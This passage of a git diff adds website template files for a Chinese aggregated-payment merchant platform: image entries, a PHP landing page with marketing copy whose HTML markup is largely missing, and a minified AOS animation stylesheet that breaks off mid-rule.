b/template/index10/assets/picture/payment_4.png new file mode 100644 index 0000000..a52a7a2 Binary files /dev/null and b/template/index10/assets/picture/payment_4.png differ diff --git a/template/index10/assets/picture/payment_5.png b/template/index10/assets/picture/payment_5.png new file mode 100644 index 0000000..dd0e21f Binary files /dev/null and b/template/index10/assets/picture/payment_5.png differ diff --git a/template/index10/assets/picture/payment_6.png b/template/index10/assets/picture/payment_6.png new file mode 100644 index 0000000..3392e38 Binary files /dev/null and b/template/index10/assets/picture/payment_6.png differ diff --git a/template/index10/assets/picture/payment_7.png b/template/index10/assets/picture/payment_7.png new file mode 100644 index 0000000..a0365b9 Binary files /dev/null and b/template/index10/assets/picture/payment_7.png differ diff --git a/template/index10/assets/picture/process_1.png b/template/index10/assets/picture/process_1.png new file mode 100644 index 0000000..3210686 Binary files /dev/null and b/template/index10/assets/picture/process_1.png differ diff --git a/template/index10/assets/picture/process_2.png b/template/index10/assets/picture/process_2.png new file mode 100644 index 0000000..8028e8b Binary files /dev/null and b/template/index10/assets/picture/process_2.png differ diff --git a/template/index10/assets/picture/process_3.png b/template/index10/assets/picture/process_3.png new file mode 100644 index 0000000..74ec356 Binary files /dev/null and b/template/index10/assets/picture/process_3.png differ diff --git a/template/index10/assets/picture/process_4.png b/template/index10/assets/picture/process_4.png new file mode 100644 index 0000000..99c45a6 Binary files /dev/null and b/template/index10/assets/picture/process_4.png differ diff --git a/template/index10/assets/picture/process_5.png b/template/index10/assets/picture/process_5.png new file mode 100644 index 0000000..2bb9fbf Binary files /dev/null and b/template/index10/assets/picture/process_5.png differ diff --git a/template/index10/assets/picture/process_6.png b/template/index10/assets/picture/process_6.png new file mode 100644 index 0000000..16860b0 Binary files /dev/null and b/template/index10/assets/picture/process_6.png differ diff --git a/template/index10/index.php b/template/index10/index.php new file mode 100644 index 0000000..4906532 --- /dev/null +++ b/template/index10/index.php @@ -0,0 +1,342 @@ + + + + + + + + <?php echo $conf['title']?> + + + + + + + + + + + + + + + + + +
                                  + + +
                                  + +
                                  +
                                  + +
                                  +
                                  + +
                                  +
                                  + +
                                  +
                                  +
                                  + 简介 + +
                                  +

                                  成立于2018年,)。

                                  +

                                  平台主要服务于互联网和移动互联网领域,为网页游戏、手机游戏、阅读、音乐、交友、教育等移动应用提供综合计费营销服务,创新、诚信、灵和活多元,创新是企业发展的灵魂。

                                  +

                                  我们打破了传统聚合支付网站几年来一成不变的局面,建立了新一代聚合支付的行业方向,我们将引领聚合支付交易过程的个性化、自动化、工具化等。作为业内最善于创新的网站,力争成为行业的佼佼者。

                                  +
                                  + + +
                                  +
                                  +
                                  +
                                  + +
                                  +
                                  + +
                                  +
                                  +
                                  + +
                                  +
                                  +
                                  + 成为商户仅需六步 + + 让你轻松做生意 +
                                    +
                                  • + <?php echo $conf['sitename']?>-注册商户-在线自助注册 + 注册商户 + 在线自助注册 +
                                  • +
                                  • + <?php echo $conf['sitename']?>-绑定银行-轻松设置商户信息 + 绑定银行 + 轻松设置商户信息 +
                                  • +
                                  • + <?php echo $conf['sitename']?>-接口对接-全平台SDK支持 + 接口对接 + 全平台SDK支持 +
                                  • +
                                  • + <?php echo $conf['sitename']?>-自助下单-会员支付一键直达 + 自助下单 + 会员支付一键直达 +
                                  • +
                                  • + <?php echo $conf['sitename']?>-全天客服-7*24小时专业服务 + 全天客服 + 7*24小时专业服务 +
                                  • +
                                  • + <?php echo $conf['sitename']?>-自动结算-信誉无忧充分保障 + 自动结算 + 信誉无忧充分保障 +
                                  • +
                                  +
                                  +
                                  +
                                  + +
                                  +
                                  +
                                  +
                                  +
                                  + 品牌优势 + + 全年365天持续运行,每天正常下款
                                  根据行业的不同和交易量
                                  实行T0/T1,D0/D1结算,请联系客服
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                    +
                                  • + <?php echo $conf['sitename']?>-服务器安全、速度、稳定 + 服务器安全 +

                                    采用群集服务器,防御高,

                                    +

                                    故障率低,无论用户身在何方,

                                    +

                                    均能获得流畅安全可靠的体验

                                    +
                                  • +
                                  • + <?php echo $conf['sitename']?>-资金安全有保障 + 资金保障 +

                                    结算及时,资金秒到

                                    +

                                    资金平均停留的时间不超过12小时,

                                    +

                                    您的资金安全将得到充分的保障.

                                    +
                                  • +
                                  • + <?php echo $conf['sitename']?>-持续更新用的安心 + 持续更新 +

                                    系统持续更新,功能持续完善,

                                    +

                                    让商户以及客户的体验不断接近

                                    +

                                    完美是我们一直不变的追求.

                                    +
                                  • +
                                  • + <?php echo $conf['sitename']?>-界面简约,操作简单 + 界面简约 +

                                    简约的UI交互体验可以

                                    +

                                    给您一个体验度极高的商户后台,

                                    +

                                    更好的使用体验.

                                    +
                                  • +
                                  +
                                  +
                                  + +
                                  +
                                  +
                                  +

                                  联系我们

                                  +

                                  +
                                    +
                                  • + + 公司地址 + + xxxxxx + +
                                  • +
                                  • + + 联系方式 + + + 商务QQ: + +
                                  • +
                                  • + + 电子邮箱 + + + +
                                  • +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  马上开启全新商户体验
                                  + 商户登录 +
                                  +
                                  +
                                  +
                                  +
                                  + + + + +
                                  +
                                  +
                                  +
                                  +
                                  - + +
                                  +
                                  +
                                  +
                                  +
                                  顶部
                                  +
                                  +
                                  + + + + diff --git a/template/index10/preview.png b/template/index10/preview.png new file mode 100644 index 0000000..af6faec Binary files /dev/null and b/template/index10/preview.png differ diff --git a/template/index2/assets/css/aos.css b/template/index2/assets/css/aos.css new file mode 100644 index 0000000..f48e9ab --- /dev/null +++ b/template/index2/assets/css/aos.css @@ -0,0 +1 @@ +[aos][aos][aos-easing=linear],body[aos-easing=linear] [aos]{-webkit-transition-timing-function:cubic-bezier(.25,.25,.75,.75);transition-timing-function:cubic-bezier(.25,.25,.75,.75)}[aos][aos][aos-easing=ease],body[aos-easing=ease] [aos]{-webkit-transition-timing-function:cubic-bezier(.25,.1,.25,1);transition-timing-function:cubic-bezier(.25,.1,.25,1)}[aos][aos][aos-easing=ease-in],body[aos-easing=ease-in] [aos]{-webkit-transition-timing-function:cubic-bezier(.42,0,1,1);transition-timing-function:cubic-bezier(.42,0,1,1)}[aos][aos][aos-easing=ease-out],body[aos-easing=ease-out] [aos]{-webkit-transition-timing-function:cubic-bezier(0,0,.58,1);transition-timing-function:cubic-bezier(0,0,.58,1)}[aos][aos][aos-easing=ease-in-out],body[aos-easing=ease-in-out] [aos]{-webkit-transition-timing-function:cubic-bezier(.42,0,.58,1);transition-timing-function:cubic-bezier(.42,0,.58,1)}[aos][aos][aos-easing=ease-in-back],body[aos-easing=ease-in-back] [aos]{-webkit-transition-timing-function:cubic-bezier(.6,-.28,.735,.045);transition-timing-function:cubic-bezier(.6,-.28,.735,.045)}[aos][aos][aos-easing=ease-out-back],body[aos-easing=ease-out-back] [aos]{-webkit-transition-timing-function:cubic-bezier(.175,.885,.32,1.275);transition-timing-function:cubic-bezier(.175,.885,.32,1.275)}[aos][aos][aos-easing=ease-in-out-back],body[aos-easing=ease-in-out-back] [aos]{-webkit-transition-timing-function:cubic-bezier(.68,-.55,.265,1.55);transition-timing-function:cubic-bezier(.68,-.55,.265,1.55)}[aos][aos][aos-easing=ease-in-sine],body[aos-easing=ease-in-sine] [aos]{-webkit-transition-timing-function:cubic-bezier(.47,0,.745,.715);transition-timing-function:cubic-bezier(.47,0,.745,.715)}[aos][aos][aos-easing=ease-out-sine],body[aos-easing=ease-out-sine] [aos]{-webkit-transition-timing-function:cubic-bezier(.39,.575,.565,1);transition-timing-function:cubic-bezier(.39,.575,.565,1)}[aos][aos][aos-easing=ease-in-out-sine],body[aos-easing=ease-in-out-sine] [aos]{-webkit-transition-timing-function:cubic-bezier(.445,.05,.55,.95);transition-timing-function:cubic-bezier(.445,.05,.55,.95)}[aos][aos][aos-easing=ease-in-quad],[aos][aos][aos-easing=ease-in-cubic],[aos][aos][aos-easing=ease-in-quart],body[aos-easing=ease-in-quad] [aos],body[aos-easing=ease-in-cubic] [aos],body[aos-easing=ease-in-quart] [aos]{-webkit-transition-timing-function:cubic-bezier(.55,.085,.68,.53);transition-timing-function:cubic-bezier(.55,.085,.68,.53)}[aos][aos][aos-easing=ease-out-quad],[aos][aos][aos-easing=ease-out-cubic],[aos][aos][aos-easing=ease-out-quart],body[aos-easing=ease-out-quad] [aos],body[aos-easing=ease-out-cubic] [aos],body[aos-easing=ease-out-quart] [aos]{-webkit-transition-timing-function:cubic-bezier(.25,.46,.45,.94);transition-timing-function:cubic-bezier(.25,.46,.45,.94)}[aos][aos][aos-easing=ease-in-out-quad],[aos][aos][aos-easing=ease-in-out-cubic],[aos][aos][aos-easing=ease-in-out-quart],body[aos-easing=ease-in-out-quad] [aos],body[aos-easing=ease-in-out-cubic] [aos],body[aos-easing=ease-in-out-quart] [aos]{-webkit-transition-timing-function:cubic-bezier(.455,.03,.515,.955);transition-timing-function:cubic-bezier(.455,.03,.515,.955)}[aos][aos][aos-duration='50'],body[aos-duration='50'] [aos]{-webkit-transition-duration:50ms;transition-duration:50ms}[aos][aos][aos-duration='100'],body[aos-duration='100'] [aos]{-webkit-transition-duration:.1s;transition-duration:.1s}[aos][aos][aos-duration='150'],body[aos-duration='150'] [aos]{-webkit-transition-duration:150ms;transition-duration:150ms}[aos][aos][aos-duration='200'],body[aos-duration='200'] [aos]{-webkit-transition-duration:.2s;transition-duration:.2s}[aos][aos][aos-duration='250'],body[aos-duration='250'] [aos]{-webkit-transition-duration:250ms;transition-duration:250ms}[aos][aos][aos-duration='300'],body[aos-duration='300'] [aos]{-webkit-transition-duration:.3s;transition-duration:.3s}[aos][aos][aos-duration='350'],body[aos-duration='350'] [aos]{-webkit-transition-duration:350ms;transition-duration:350ms}[aos][aos][aos-duration='400'],body[aos-duration='400'] [aos]{-webkit-transition-duration:.4s;transition-duration:.4s}[aos][aos][aos-duration='450'],body[aos-duration='450'] [aos]{-webkit-transition-duration:450ms;transition-duration:450ms}[aos][aos][aos-duration='500'],body[aos-duration='500'] [aos]{-webkit-transition-duration:.5s;transition-duration:.5s}[aos][aos][aos-duration='550'],body[aos-duration='550'] [aos]{-webkit-transition-duration:550ms;transition-duration:550ms}[aos][aos][aos-duration='600'],body[aos-duration='600'] [aos]{-webkit-transition-duration:.6s;transition-duration:.6s}[aos][aos][aos-duration='650'],body[aos-duration='650'] [aos]{-webkit-transition-duration:650ms;transition-duration:650ms}[aos][aos][aos-duration='700'],body[aos-duration='700'] [aos]{-webkit-transition-duration:.7s;transition-duration:.7s}[aos][aos][aos-duration='750'],body[aos-duration='750'] [aos]{-webkit-transition-duration:750ms;transition-duration:750ms}[aos][aos][aos-duration='800'],body[aos-duration='800'] [aos]{-webkit-transition-duration:.8s;transition-duration:.8s}[aos][aos][aos-duration='850'],body[aos-duration='850'] [aos]{-webkit-transition-duration:850ms;transition-duration:850ms}[aos][aos][aos-duration='900'],body[aos-duration='900'] [aos]{-webkit-transition-duration:.9s;transition-duration:.9s}[aos][aos][aos-duration='950'],body[aos-duration='950'] [aos]{-webkit-transition-duration:950ms;transition-duration:950ms}[aos][aos][aos-duration='1000'],body[aos-duration='1000'] [aos]{-webkit-transition-duration:1s;transition-duration:1s}[aos][aos][aos-duration='1050'],body[aos-duration='1050'] [aos]{-webkit-transition-duration:1.05s;transition-duration:1.05s}[aos][aos][aos-duration='1100'],body[aos-duration='1100'] [aos]{-webkit-transition-duration:1.1s;transition-duration:1.1s}[aos][aos][aos-duration='1150'],body[aos-duration='1150'] [aos]{-webkit-transition-duration:1.15s;transition-duration:1.15s}[aos][aos][aos-duration='1200'],body[aos-duration='1200'] [aos]{-webkit-transition-duration:1.2s;transition-duration:1.2s}[aos][aos][aos-duration='1250'],body[aos-duration='1250'] [aos]{-webkit-transition-duration:1.25s;transition-duration:1.25s}[aos][aos][aos-duration='1300'],body[aos-duration='1300'] [aos]{-webkit-transition-duration:1.3s;transition-duration:1.3s}[aos][aos][aos-duration='1350'],body[aos-duration='1350'] [aos]{-webkit-transition-duration:1.35s;transition-duration:1.35s}[aos][aos][aos-duration='1400'],body[aos-duration='1400'] [aos]{-webkit-transition-duration:1.4s;transition-duration:1.4s}[aos][aos][aos-duration='1450'],body[aos-duration='1450'] [aos]{-webkit-transition-duration:1.45s;transition-duration:1.45s}[aos][aos][aos-duration='1500'],body[aos-duration='1500'] [aos]{-webkit-transition-duration:1.5s;transition-duration:1.5s}[aos][aos][aos-duration='1550'],body[aos-duration='1550'] [aos]{-webkit-transition-duration:1.55s;transition-duration:1.55s}[aos][aos][aos-duration='1600'],body[aos-duration='1600'] [aos]{-webkit-transition-duration:1.6s;transition-duration:1.6s}[aos][aos][aos-duration='1650'],body[aos-duration='1650'] [aos]{-webkit-transition-duration:1.65s;transition-duration:1.65s}[aos][aos][aos-duration='1700'],body[aos-duration='1700'] [aos]{-webkit-transition-duration:1.7s;transition-duration:1.7s}[aos][aos][aos-duration='1750'],body[aos-duration='1750'] [aos]{-webkit-transition-duration:1.75s;transition-duration:1.75s}[aos][aos][aos-duration='1800'],body[aos-duration='1800'] [aos]{-webkit-transition-duration:1.8s;transition-duration:1.8s}[aos][aos][aos-duration='1850'],body[aos-duration='1850'] [aos]{-webkit-transition-duration:1.85s;transition-duration:1.85s}[aos][aos][aos-duration='1900'],body[aos-duration='1900'] [aos]{-webkit-transition-duration:1.9s;transition-duration:1.9s}[aos][aos][aos-duration='1950'],body[aos-duration='1950'] [aos]{-webkit-transition-duration:1.95s;transition-duration:1.95s}[aos][aos][aos-duration='2000'],body[aos-duration='2000'] [aos]{-webkit-transition-duration:2s;transition-duration:2s}[aos][aos][aos-duration='2050'],body[aos-duration='2050'] [aos]{-webkit-transition-duration:2.05s;transition-duration:2.05s}[aos][aos][aos-duration='2100'],body[aos-duration='2100'] [aos]{-webkit-transition-duration:2.1s;transition-duration:2.1s}[aos][aos][aos-duration='2150'],body[aos-duration='2150'] [aos]{-webkit-transition-duration:2.15s;transition-duration:2.15s}[aos][aos][aos-duration='2200'],body[aos-duration='2200'] [aos]{-webkit-transition-duration:2.2s;transition-duration:2.2s}[aos][aos][aos-duration='2250'],body[aos-duration='2250'] [aos]{-webkit-transition-duration:2.25s;transition-duration:2.25s}[aos][aos][aos-duration='2300'],body[aos-duration='2300'] [aos]{-webkit-transition-duration:2.3s;transition-duration:2.3s}[aos][aos][aos-duration='2350'],body[aos-duration='2350'] [aos]{-webkit-transition-duration:2.35s;transition-duration:2.35s}[aos][aos][aos-duration='2400'],body[aos-duration='2400'] [aos]{-webkit-transition-duration:2.4s;transition-duration:2.4s}[aos][aos][aos-duration='2450'],body[aos-duration='2450'] [aos]{-webkit-transition-duration:2.45s;transition-duration:2.45s}[aos][aos][aos-duration='2500'],body[aos-duration='2500'] [aos]{-webkit-transition-duration:2.5s;transition-duration:2.5s}[aos][aos][aos-duration='2550'],body[aos-duration='2550'] [aos]{-webkit-transition-duration:2.55s;transition-duration:2.55s}[aos][aos][aos-duration='2600'],body[aos-duration='2600'] [aos]{-webkit-transition-duration:2.6s;transition-duration:2.6s}[aos][aos][aos-duration='2650'],body[aos-duration='2650'] [aos]{-webkit-transition-duration:2.65s;transition-duration:2.65s}[aos][aos][aos-duration='2700'],body[aos-duration='2700'] [aos]{-webkit-transition-duration:2.7s;transition-duration:2.7s}[aos][aos][aos-duration='2750'],body[aos-duration='2750'] [aos]{-webkit-transition-duration:2.75s;transition-duration:2.75s}[aos][aos][aos-duration='2800'],body[aos-duration='2800'] [aos]{-webkit-transition-duration:2.8s;transition-duration:2.8s}[aos][aos][aos-duration='2850'],body[aos-duration='2850'] [aos]{-webkit-transition-duration:2.85s;transition-duration:2.85s}[aos][aos][aos-duration='2900'],body[aos-duration='2900'] [aos]{-webkit-transition-duration:2.9s;transition-duration:2.9s}[aos][aos][aos-duration='2950'],body[aos-duration='2950'] [aos]{-webkit-transition-duration:2.95s;transition-duration:2.95s}[aos][aos][aos-duration='3000'],body[aos-duration='3000'] [aos]{-webkit-transition-duration:3s;transition-duration:3s}[aos][aos][aos-delay='50'],body[aos-delay='50'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='50'].aos-animate,body[aos-delay='50'] [aos].aos-animate{-webkit-transition-delay:50ms;transition-delay:50ms}[aos][aos][aos-delay='100'],body[aos-delay='100'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='100'].aos-animate,body[aos-delay='100'] [aos].aos-animate{-webkit-transition-delay:.1s;transition-delay:.1s}[aos][aos][aos-delay='150'],body[aos-delay='150'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='150'].aos-animate,body[aos-delay='150'] [aos].aos-animate{-webkit-transition-delay:150ms;transition-delay:150ms}[aos][aos][aos-delay='200'],body[aos-delay='200'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='200'].aos-animate,body[aos-delay='200'] [aos].aos-animate{-webkit-transition-delay:.2s;transition-delay:.2s}[aos][aos][aos-delay='250'],body[aos-delay='250'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='250'].aos-animate,body[aos-delay='250'] [aos].aos-animate{-webkit-transition-delay:250ms;transition-delay:250ms}[aos][aos][aos-delay='300'],body[aos-delay='300'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='300'].aos-animate,body[aos-delay='300'] [aos].aos-animate{-webkit-transition-delay:.3s;transition-delay:.3s}[aos][aos][aos-delay='350'],body[aos-delay='350'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='350'].aos-animate,body[aos-delay='350'] [aos].aos-animate{-webkit-transition-delay:350ms;transition-delay:350ms}[aos][aos][aos-delay='400'],body[aos-delay='400'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='400'].aos-animate,body[aos-delay='400'] [aos].aos-animate{-webkit-transition-delay:.4s;transition-delay:.4s}[aos][aos][aos-delay='450'],body[aos-delay='450'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='450'].aos-animate,body[aos-delay='450'] [aos].aos-animate{-webkit-transition-delay:450ms;transition-delay:450ms}[aos][aos][aos-delay='500'],body[aos-delay='500'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='500'].aos-animate,body[aos-delay='500'] [aos].aos-animate{-webkit-transition-delay:.5s;transition-delay:.5s}[aos][aos][aos-delay='550'],body[aos-delay='550'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='550'].aos-animate,body[aos-delay='550'] [aos].aos-animate{-webkit-transition-delay:550ms;transition-delay:550ms}[aos][aos][aos-delay='600'],body[aos-delay='600'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='600'].aos-animate,body[aos-delay='600'] [aos].aos-animate{-webkit-transition-delay:.6s;transition-delay:.6s}[aos][aos][aos-delay='650'],body[aos-delay='650'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='650'].aos-animate,body[aos-delay='650'] [aos].aos-animate{-webkit-transition-delay:650ms;transition-delay:650ms}[aos][aos][aos-delay='700'],body[aos-delay='700'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='700'].aos-animate,body[aos-delay='700'] [aos].aos-animate{-webkit-transition-delay:.7s;transition-delay:.7s}[aos][aos][aos-delay='750'],body[aos-delay='750'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='750'].aos-animate,body[aos-delay='750'] [aos].aos-animate{-webkit-transition-delay:750ms;transition-delay:750ms}[aos][aos][aos-delay='800'],body[aos-delay='800'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='800'].aos-animate,body[aos-delay='800'] [aos].aos-animate{-webkit-transition-delay:.8s;transition-delay:.8s}[aos][aos][aos-delay='850'],body[aos-delay='850'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='850'].aos-animate,body[aos-delay='850'] [aos].aos-animate{-webkit-transition-delay:850ms;transition-delay:850ms}[aos][aos][aos-delay='900'],body[aos-delay='900'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='900'].aos-animate,body[aos-delay='900'] [aos].aos-animate{-webkit-transition-delay:.9s;transition-delay:.9s}[aos][aos][aos-delay='950'],body[aos-delay='950'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='950'].aos-animate,body[aos-delay='950'] [aos].aos-animate{-webkit-transition-delay:950ms;transition-delay:950ms}[aos][aos][aos-delay='1000'],body[aos-delay='1000'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1000'].aos-animate,body[aos-delay='1000'] [aos].aos-animate{-webkit-transition-delay:1s;transition-delay:1s}[aos][aos][aos-delay='1050'],body[aos-delay='1050'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1050'].aos-animate,body[aos-delay='1050'] [aos].aos-animate{-webkit-transition-delay:1.05s;transition-delay:1.05s}[aos][aos][aos-delay='1100'],body[aos-delay='1100'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1100'].aos-animate,body[aos-delay='1100'] [aos].aos-animate{-webkit-transition-delay:1.1s;transition-delay:1.1s}[aos][aos][aos-delay='1150'],body[aos-delay='1150'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1150'].aos-animate,body[aos-delay='1150'] [aos].aos-animate{-webkit-transition-delay:1.15s;transition-delay:1.15s}[aos][aos][aos-delay='1200'],body[aos-delay='1200'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1200'].aos-animate,body[aos-delay='1200'] [aos].aos-animate{-webkit-transition-delay:1.2s;transition-delay:1.2s}[aos][aos][aos-delay='1250'],body[aos-delay='1250'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1250'].aos-animate,body[aos-delay='1250'] [aos].aos-animate{-webkit-transition-delay:1.25s;transition-delay:1.25s}[aos][aos][aos-delay='1300'],body[aos-delay='1300'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1300'].aos-animate,body[aos-delay='1300'] [aos].aos-animate{-webkit-transition-delay:1.3s;transition-delay:1.3s}[aos][aos][aos-delay='1350'],body[aos-delay='1350'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1350'].aos-animate,body[aos-delay='1350'] [aos].aos-animate{-webkit-transition-delay:1.35s;transition-delay:1.35s}[aos][aos][aos-delay='1400'],body[aos-delay='1400'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1400'].aos-animate,body[aos-delay='1400'] [aos].aos-animate{-webkit-transition-delay:1.4s;transition-delay:1.4s}[aos][aos][aos-delay='1450'],body[aos-delay='1450'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1450'].aos-animate,body[aos-delay='1450'] [aos].aos-animate{-webkit-transition-delay:1.45s;transition-delay:1.45s}[aos][aos][aos-delay='1500'],body[aos-delay='1500'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1500'].aos-animate,body[aos-delay='1500'] [aos].aos-animate{-webkit-transition-delay:1.5s;transition-delay:1.5s}[aos][aos][aos-delay='1550'],body[aos-delay='1550'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1550'].aos-animate,body[aos-delay='1550'] [aos].aos-animate{-webkit-transition-delay:1.55s;transition-delay:1.55s}[aos][aos][aos-delay='1600'],body[aos-delay='1600'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1600'].aos-animate,body[aos-delay='1600'] [aos].aos-animate{-webkit-transition-delay:1.6s;transition-delay:1.6s}[aos][aos][aos-delay='1650'],body[aos-delay='1650'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1650'].aos-animate,body[aos-delay='1650'] [aos].aos-animate{-webkit-transition-delay:1.65s;transition-delay:1.65s}[aos][aos][aos-delay='1700'],body[aos-delay='1700'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1700'].aos-animate,body[aos-delay='1700'] [aos].aos-animate{-webkit-transition-delay:1.7s;transition-delay:1.7s}[aos][aos][aos-delay='1750'],body[aos-delay='1750'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1750'].aos-animate,body[aos-delay='1750'] [aos].aos-animate{-webkit-transition-delay:1.75s;transition-delay:1.75s}[aos][aos][aos-delay='1800'],body[aos-delay='1800'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1800'].aos-animate,body[aos-delay='1800'] [aos].aos-animate{-webkit-transition-delay:1.8s;transition-delay:1.8s}[aos][aos][aos-delay='1850'],body[aos-delay='1850'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1850'].aos-animate,body[aos-delay='1850'] [aos].aos-animate{-webkit-transition-delay:1.85s;transition-delay:1.85s}[aos][aos][aos-delay='1900'],body[aos-delay='1900'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1900'].aos-animate,body[aos-delay='1900'] [aos].aos-animate{-webkit-transition-delay:1.9s;transition-delay:1.9s}[aos][aos][aos-delay='1950'],body[aos-delay='1950'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1950'].aos-animate,body[aos-delay='1950'] [aos].aos-animate{-webkit-transition-delay:1.95s;transition-delay:1.95s}[aos][aos][aos-delay='2000'],body[aos-delay='2000'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2000'].aos-animate,body[aos-delay='2000'] [aos].aos-animate{-webkit-transition-delay:2s;transition-delay:2s}[aos][aos][aos-delay='2050'],body[aos-delay='2050'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2050'].aos-animate,body[aos-delay='2050'] [aos].aos-animate{-webkit-transition-delay:2.05s;transition-delay:2.05s}[aos][aos][aos-delay='2100'],body[aos-delay='2100'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2100'].aos-animate,body[aos-delay='2100'] [aos].aos-animate{-webkit-transition-delay:2.1s;transition-delay:2.1s}[aos][aos][aos-delay='2150'],body[aos-delay='2150'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2150'].aos-animate,body[aos-delay='2150'] [aos].aos-animate{-webkit-transition-delay:2.15s;transition-delay:2.15s}[aos][aos][aos-delay='2200'],body[aos-delay='2200'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2200'].aos-animate,body[aos-delay='2200'] [aos].aos-animate{-webkit-transition-delay:2.2s;transition-delay:2.2s}[aos][aos][aos-delay='2250'],body[aos-delay='2250'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2250'].aos-animate,body[aos-delay='2250'] [aos].aos-animate{-webkit-transition-delay:2.25s;transition-delay:2.25s}[aos][aos][aos-delay='2300'],body[aos-delay='2300'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2300'].aos-animate,body[aos-delay='2300'] [aos].aos-animate{-webkit-transition-delay:2.3s;transition-delay:2.3s}[aos][aos][aos-delay='2350'],body[aos-delay='2350'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2350'].aos-animate,body[aos-delay='2350'] [aos].aos-animate{-webkit-transition-delay:2.35s;transition-delay:2.35s}[aos][aos][aos-delay='2400'],body[aos-delay='2400'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2400'].aos-animate,body[aos-delay='2400'] [aos].aos-animate{-webkit-transition-delay:2.4s;transition-delay:2.4s}[aos][aos][aos-delay='2450'],body[aos-delay='2450'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2450'].aos-animate,body[aos-delay='2450'] [aos].aos-animate{-webkit-transition-delay:2.45s;transition-delay:2.45s}[aos][aos][aos-delay='2500'],body[aos-delay='2500'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2500'].aos-animate,body[aos-delay='2500'] [aos].aos-animate{-webkit-transition-delay:2.5s;transition-delay:2.5s}[aos][aos][aos-delay='2550'],body[aos-delay='2550'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2550'].aos-animate,body[aos-delay='2550'] [aos].aos-animate{-webkit-transition-delay:2.55s;transition-delay:2.55s}[aos][aos][aos-delay='2600'],body[aos-delay='2600'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2600'].aos-animate,body[aos-delay='2600'] [aos].aos-animate{-webkit-transition-delay:2.6s;transition-delay:2.6s}[aos][aos][aos-delay='2650'],body[aos-delay='2650'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2650'].aos-animate,body[aos-delay='2650'] [aos].aos-animate{-webkit-transition-delay:2.65s;transition-delay:2.65s}[aos][aos][aos-delay='2700'],body[aos-delay='2700'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2700'].aos-animate,body[aos-delay='2700'] [aos].aos-animate{-webkit-transition-delay:2.7s;transition-delay:2.7s}[aos][aos][aos-delay='2750'],body[aos-delay='2750'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2750'].aos-animate,body[aos-delay='2750'] [aos].aos-animate{-webkit-transition-delay:2.75s;transition-delay:2.75s}[aos][aos][aos-delay='2800'],body[aos-delay='2800'] 